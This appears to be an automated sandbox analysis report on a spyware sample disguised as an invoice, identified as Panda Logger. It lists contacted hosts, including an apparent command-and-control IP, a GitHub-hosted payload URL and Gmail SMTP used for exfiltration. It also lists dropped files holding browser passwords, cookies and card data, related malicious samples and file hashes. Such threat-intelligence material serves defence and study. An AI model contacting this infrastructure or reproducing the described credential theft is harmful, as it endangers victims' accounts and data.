http://ocsp.pki.goog/gsr202	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://pki.goog/repository/0	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://raw.githubusercontent.com/pandalog/nothing/master/john.txt	Overdue_invoices.exe, 00000001.00000002.625927186.0000000003081000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.msn.com/	Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	false		high
http://www.msn.com/de-ch/?ocid=iehp	Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.625516000.0000000001562000.00000004.00000020.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high
https://raw.githubusercontent.com	Overdue_invoices.exe, 00000001.00000002.625927186.0000000003081000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.pki.goog/gts1o1core0	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://wa.239.147.103/base/D87080E8818FCC40A45F948026A84297.html	Overdue_invoices.exe, 00000000.00000002.230153111.0000000000B83000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	low
http://www.msn.com/de-ch/	Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	false		high
http://www.msn.com/?ocid=iehp	Overdue_invoices.exe, 00000001.00000002.625659765.00000000015AD000.00000004.00000020.sdmp, Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	false		high
http://crl.pki.goog/GTS1O1core.crl0	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl	Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	false		high
http://icanhazip.com	Overdue_invoices.exe, 00000001.00000002.626165081.0000000003116000.00000004.00000001.sdmp	false		high
http://193.239.147.103	Overdue_invoices.exe, 00000000.00000002.230384205.00000000028E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pki.goog/gsr2/gsr2.crl0?	Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Overdue_invoices.exe, 00000000.00000002.230384205.00000000028E1000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.625927186.0000000003081000.00000004.00000001.sdmp	false		high
http://smtp.gmail.com	Overdue_invoices.exe, 00000001.00000002.626846042.000000000328B000.00000004.00000001.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high
https://i.imgur.com/9sS1RPE.png	Overdue_invoices.exe, 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
193.239.147.103	unknown	Brunei Darussalam	35913	DEDIPATH-LLCUS	false
147.75.47.199	unknown	Switzerland	54825	PACKETUS	false
151.101.0.133	unknown	United States	54113	FASTLYUS	false
108.177.119.109	unknown	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344973
Start date:	27.01.2021
Start time:	15:14:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Overdue_invoices.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/6@4/4
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 95% Number of executed functions: 21 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.139.144, 40.88.32.150, 51.104.144.132, 23.210.248.85, 95.101.22.224, 95.101.22.216, 20.54.26.129, 95.101.27.163, 95.101.27.142, 51.103.5.186, 51.104.139.180, 52.155.217.156 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, wns.notify.windows.com.akadns.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, emea1.notify.windows.com.akadns.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, par02p.wns.notify.trafficmanager.net, vip2-par02p.wns.notify.trafficmanager.net Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/344973/sample/Overdue_invoices.exe

Simulations

Behavior and APIs

Time	Type	Description
15:15:12	API Interceptor	11x Sleep call for process: Overdue_invoices.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
193.239.147.103	SIT-10295.exe	Get hash	malicious	Browse	193.239.147.103/base/759EFD3939882C342360C054C0B0F139.html
	MT103_SWFT012621ONOMN.doc	Get hash	malicious	Browse	193.239.147.103/base/FF20D3DCE8649E687BDAC089AF53336F.html
	RFQ Tengco_270121.doc	Get hash	malicious	Browse	193.239.147.103/base/ED373B21DE74B174904C90C4F88850ED.html
	SecuriteInfo.com.Trojan.DownLoader36.37393.25689.exe	Get hash	malicious	Browse	193.239.147.103/base/817B8D2BFEA38CDAF771C594C8EDD2E5.html
	SecuriteInfo.com.Trojan.DownLoader36.37393.27958.exe	Get hash	malicious	Browse	193.239.147.103/base/D11F9AABDFF0704F9266CD718DBD402A.html
	SecuriteInfo.com.Trojan.DownLoader36.37393.29158.exe	Get hash	malicious	Browse	193.239.147.103/base/D1A437E767757AD4AED3D462BF223DC7.html
	Shipping Documents.doc	Get hash	malicious	Browse	193.239.147.103/base/3CC85C5A6F2A98A2641549BF1564DA9E.html
	8Aobnx1VRi.exe	Get hash	malicious	Browse	193.239.147.103/base/3CC85C5A6F2A98A2641549BF1564DA9E.html
	DSksIiT85D.exe	Get hash	malicious	Browse	193.239.147.103/base/84BABA4BCDFD79499D4EFDE97172FE7F.html
	SecuriteInfo.com.Trojan.DownLoader36.37393.26064.exe	Get hash	malicious	Browse	193.239.147.103/base/4360BD50C79123B72BE98F9871724C8D.html
	Updated Invoice{swift..exe	Get hash	malicious	Browse	193.239.147.103/base/3815F0F23310F1653DD4231C92F53862.html
	mr kesh.exe	Get hash	malicious	Browse	193.239.147.103/base/B690B5BB2DC34BEDA854B2E34C821BF0.html
	SecuriteInfo.com.GenericRXNJ-EED6E27CA5FDA8.exe	Get hash	malicious	Browse	193.239.147.103/base/AC74DA1A537FAA26238A4038BDCC34AA.html
	SecuriteInfo.com.BehavesLike.Win32.Generic.nm.exe	Get hash	malicious	Browse	193.239.147.103/base/A835403D21646D38831BEFB4AACEE40A.html
	SecuriteInfo.com.BehavesLike.Win32.Generic.mh.exe	Get hash	malicious	Browse	193.239.147.103/base/CFA32E9D22202129AAEAB33745DD6268.html
	SecuriteInfo.com.BehavesLike.Win32.Generic.nm.exe	Get hash	malicious	Browse	193.239.147.103/base/8C0599C1B9B3E6070FB750C30A6E4DE5.html
	SecuriteInfo.com.Artemis326CF1417127.exe	Get hash	malicious	Browse	193.239.147.103/base/C153CE1CCAD2548C2547CF3FCE5D339E.html
	Enq No 34 22-01-2021.exe	Get hash	malicious	Browse	193.239.147.103/base/8DE336D63584EEF9B2E4A84C87518330.html
	DHL SHIPPING INVOICE DOCUMENTS.doc	Get hash	malicious	Browse	193.239.147.103/base/CFA32E9D22202129AAEAB33745DD6268.html
	Walaa-Qasem-resume2.doc	Get hash	malicious	Browse	193.239.147.103/base/C393873424A9CB9C6D7E741325C13725.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
github.map.fastly.net	SIT-10295.exe	Get hash	malicious	Browse	151.101.0.133
	QT21006189.exe	Get hash	malicious	Browse	151.101.0.133
	client.exe	Get hash	malicious	Browse	151.101.0.133
	testMalware3.ps1	Get hash	malicious	Browse	151.101.0.133
	SecuriteInfo.com.Trojan.DownLoader36.34557.26355.exe	Get hash	malicious	Browse	151.101.0.133
	purchase order TR2021011802.exe	Get hash	malicious	Browse	151.101.0.133
	TNT Original Invoice PDF.exe	Get hash	malicious	Browse	151.101.0.133
	Photo-064-2021.jpg.exe	Get hash	malicious	Browse	151.101.0.133
	UT45.vbs	Get hash	malicious	Browse	151.101.0.133
	33f77d4d.exe	Get hash	malicious	Browse	151.101.0.133
	RFQ_211844_PR20Q-6706.pdf.exe	Get hash	malicious	Browse	151.101.0.133
	P.O.No.#17AUFR010S.pdf.exe	Get hash	malicious	Browse	151.101.0.133
	PO#83922009122.pdf.exe	Get hash	malicious	Browse	151.101.0.133
	AS006-20211201.pdf.exe	Get hash	malicious	Browse	151.101.0.133
	2CBPOfVTs5QeG8Z.exe	Get hash	malicious	Browse	151.101.0.133
	Payment.exe	Get hash	malicious	Browse	151.101.0.133
	inrfzFzDHR.exe	Get hash	malicious	Browse	151.101.0.133
	0IO1Or2045.exe	Get hash	malicious	Browse	151.101.0.133
	https://patrickphimr5.github.io/memoaideivozx/dsfriet.html?bbre=dxcfdgoiss	Get hash	malicious	Browse	151.101.0.133
smtp.gmail.com	SIT-10295.exe	Get hash	malicious	Browse	108.177.119.109
	QT21006189.exe	Get hash	malicious	Browse	108.177.119.109
	fusion.exe	Get hash	malicious	Browse	173.194.69.108
	Revised Invoice.exe	Get hash	malicious	Browse	173.194.69.109
	transcach.exe	Get hash	malicious	Browse	172.253.120.109
	PCS.exe	Get hash	malicious	Browse	172.253.120.109
	transcach.exe	Get hash	malicious	Browse	172.253.120.109
	ORDER-02044.exe	Get hash	malicious	Browse	66.102.1.109
	EA0Y2020 Outstanding invoice 20190510to 20201214.exe	Get hash	malicious	Browse	173.194.69.109
	vygtHoQaI1KaBVp.exe	Get hash	malicious	Browse	173.194.69.108
	QCXw2WXDjOalhVZ.exe	Get hash	malicious	Browse	108.177.119.109
	yqd2LHZ8y57Bzy4.exe	Get hash	malicious	Browse	108.177.119.109
	knitted yarn documents.exe	Get hash	malicious	Browse	172.253.120.109
	a9bdc406f87d6072599939a86b766fa4.exe	Get hash	malicious	Browse	172.253.120.109
	SecuriteInfo.com.Generic.mg.e1df690a980825ac.exe	Get hash	malicious	Browse	173.194.69.108
	SecuriteInfo.com.BackDoor.SpyBotNET.17.12571.exe	Get hash	malicious	Browse	74.125.133.108
	PCS.exe	Get hash	malicious	Browse	173.194.76.108
	NQ6UdXpwwU.exe	Get hash	malicious	Browse	173.194.76.108
	Money gram.exe	Get hash	malicious	Browse	173.194.69.109
	Codes.exe	Get hash	malicious	Browse	172.253.120.108

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DEDIPATH-LLCUS	Tender documents_FOB_Offer_Printout.PDF.exe	Get hash	malicious	Browse	45.15.143.189
	SIT-10295.exe	Get hash	malicious	Browse	193.239.147.103
	MT103_SWFT012621ONOMN.doc	Get hash	malicious	Browse	193.239.147.103
	RFQ Tengco_270121.doc	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.Trojan.DownLoader36.37393.25689.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.Trojan.DownLoader36.37393.27958.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.Trojan.DownLoader36.37393.29158.exe	Get hash	malicious	Browse	193.239.147.103
	Shipping Documents.doc	Get hash	malicious	Browse	193.239.147.103
	8Aobnx1VRi.exe	Get hash	malicious	Browse	193.239.147.103
	DSksIiT85D.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.Trojan.DownLoader36.37393.26064.exe	Get hash	malicious	Browse	193.239.147.103
	Updated Invoice{swift..exe	Get hash	malicious	Browse	193.239.147.103
	mr kesh.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.GenericRXNJ-EED6E27CA5FDA8.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.BehavesLike.Win32.Generic.nm.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.BehavesLike.Win32.Generic.mh.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.BehavesLike.Win32.Generic.nm.exe	Get hash	malicious	Browse	193.239.147.103
	SecuriteInfo.com.Artemis326CF1417127.exe	Get hash	malicious	Browse	193.239.147.103
	Enq No 34 22-01-2021.exe	Get hash	malicious	Browse	193.239.147.103
	DHL SHIPPING INVOICE DOCUMENTS.doc	Get hash	malicious	Browse	193.239.147.103
PACKETUS	SIT-10295.exe	Get hash	malicious	Browse	147.75.47.199
	QT21006189.exe	Get hash	malicious	Browse	136.144.56.255
	oHqMFmPndx.exe	Get hash	malicious	Browse	185.244.121.205
	SecuriteInfo.com.Trojan.PackedNET.509.17348.exe	Get hash	malicious	Browse	104.245.238.50
	kinsing2	Get hash	malicious	Browse	147.75.47.199
	kinsing	Get hash	malicious	Browse	147.75.47.199
	inrfzFzDHR.exe	Get hash	malicious	Browse	136.144.56.255
	http://search.hwatchtvnow.co	Get hash	malicious	Browse	147.75.102.200
	HSBC Payment Advice - HSBC67628473234[20201412].exe	Get hash	malicious	Browse	136.144.56.255
	vPZHkecu7y.exe	Get hash	malicious	Browse	64.187.226.251
	530ppafC4x.exe	Get hash	malicious	Browse	64.187.226.251
	fBTeh5eM2o.exe	Get hash	malicious	Browse	64.187.226.251
	OdkQY9bDfK.exe	Get hash	malicious	Browse	64.187.226.251
	6DHaBgali4.exe	Get hash	malicious	Browse	64.187.226.251
	SecuriteInfo.com.BehavesLike.Win32.Trojan.cc.exe	Get hash	malicious	Browse	64.187.226.251
	SecuriteInfo.com.BehavesLike.Win32.Trojan.cc.exe	Get hash	malicious	Browse	64.187.226.251
	invv.exe	Get hash	malicious	Browse	172.82.162.227
	https://performoverlyrefinedapplication.icu/CizCEYfXXsFZDea6dskVLfEdY6BHDc59rTngFTpi7WA?clck=d1b1d4dc-5066-446f-b596-331832cbbdd0&sid=l84343	Get hash	malicious	Browse	147.75.102.200
	DHL Shipping Document Tracking No Confirmation.exe	Get hash	malicious	Browse	147.75.47.199
	QUOTATION REQUEST FOR PO 024-2020.pdf.exe	Get hash	malicious	Browse	147.75.47.199

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Overdue_invoices.exe.log Download File
Process:	C:\Users\user\Desktop\Overdue_invoices.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:MLU84qpE4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7GE4Ks:Mgv2HKXwYHKhQnoPtHoxHhAHKzvGHKs
MD5:	8661DEF1A785B33817416A73C5B2C3DD
SHA1:	3341588F1C06BFFDDCCCF2EDE4F62D6D5F7AACA9
SHA-256:	BF8FD626E9B119BF1F5045CAB9B6A2A773FB44ADCCB303B807CF650CE50758DD
SHA-512:	035155C37E203345617D0679BC0F544E492BA0FBCC8CD42DA91FA721011BAE29095DE36F5D54CC08FF31B70DBD0FEB3DA82DDC9DD36F2D37B7EFE822DA5FBACC
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Temp\TMP_4728 Download File
Process:	C:\Users\user\Desktop\Overdue_invoices.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.63572875064339
Encrypted:	false
SSDEEP:	3:Nm1WXp5vqTSVKty:01WXpFqTDk
MD5:	B8D917424EC0E1B5CED53A0A590E0018
SHA1:	E01F04CBE64F80F7B8FD594B720AD27C2B36B9CC
SHA-256:	193D0458703DC296C08E19CDA97C5620AFB32953537FE8F0AF9B8316E75EBD53
SHA-512:	B5AD66175D58D1C797102F53B8D110451AE2CA07E3AF23E11CB7A50A5CCBF335B375F7FE90EF818DB008472655544FCE85571868D5516B0264520475CE4B21BC
Malicious:	false
Reputation:	low
Preview:	6020,C:\Users\user\Desktop\Overdue_invoices.exe..

C:\Users\user\AppData\Local\Temp\TMP_Cookies Download File
Process:	C:\Users\user\Desktop\Overdue_invoices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TMP_pass Download File
Process:	C:\Users\user\Desktop\Overdue_invoices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\browserCreditCards Download File
Process:	C:\Users\user\Desktop\Overdue_invoices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp99EA0x.tmp Download File
Process:	C:\Users\user\Desktop\Overdue_invoices.exe
File Type:	UTF-8 Unicode text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	5.347685360604738
Encrypted:	false
SSDEEP:	48:8bAIVIDAlG33HPrLPFpsPa1tPLpnPVTPUnP2PHydVWAgH8wAcxWClwBNxhXv2ilZ:85VIDLHzLNpsKtDpndT8nuPHydVWhcwU
MD5:	A8307959CD38001AEC8D022D52094D23
SHA1:	BDE6320753A11E17291CBF3153DC009E65B0E449
SHA-256:	EDC211E8DD994F7F9AA7F947AF81504D32404711B84BCD180CDD216123B3043A
SHA-512:	B006429E1E383ED11E2BF3DE2A8349D6EF8DAF0D699AF66E44032E83C61DDA793FC3D2B5D05102C544D935591B2FE9364FA69213F89C35496935F47AC2E59A76
Malicious:	false
Reputation:	low
Preview:	==========\| Panda Logger - System Details \|==========...Computer Name: 494126..Username: user..Country Name: United States..System date and time: 1/27/2021 3:15:12 PM..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..Framework: 4.0.30319.42000..Operating System: Microsoft Windows 10 Pro..Process Elevated:True..IP address: 84.17.52.74.....===== Installed Programs/Softwares =====..[+] Google Chrome..[+] Microsoft Office Professional Plus 2016..[+] Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501..[+] Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005..[+] Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319..[+] Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702..[+] Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702..[+] Java 8 Update 211..[+] Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030..[+] Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702..[+] Java Auto Updater..[+] Google Update Helper..[+] Microsoft

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.607365895665976
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Overdue_invoices.exe
File size:	100864
MD5:	afa35ee8f27c8a6661219bccb198fd9b
SHA1:	8b86a3066a24586bd5d17ce45ce8bd7984079af0
SHA256:	2d2c26b0f3308bda9e00913401761b8b5026edccfbe12bce7a72cd2d324c2f45
SHA512:	6b2242cad79cf4aea483f6e56d25ca60a8fe5788ae298bd69ae0b150092ebb22a0d2c89d93d33733248a47d6b2077cd2b67d3163af124521a570157974af2419
SSDEEP:	3072:YMVu0mNieZzQ5mPagIWSPahXjYktx0gxOytswL+f66fQG8zJGVT4qG9:YHZf
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W..`.........."...0..x............... ........@.. ..............................rf....`................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4197be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x6010A357 [Tue Jan 26 23:18:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1976c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0xc60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
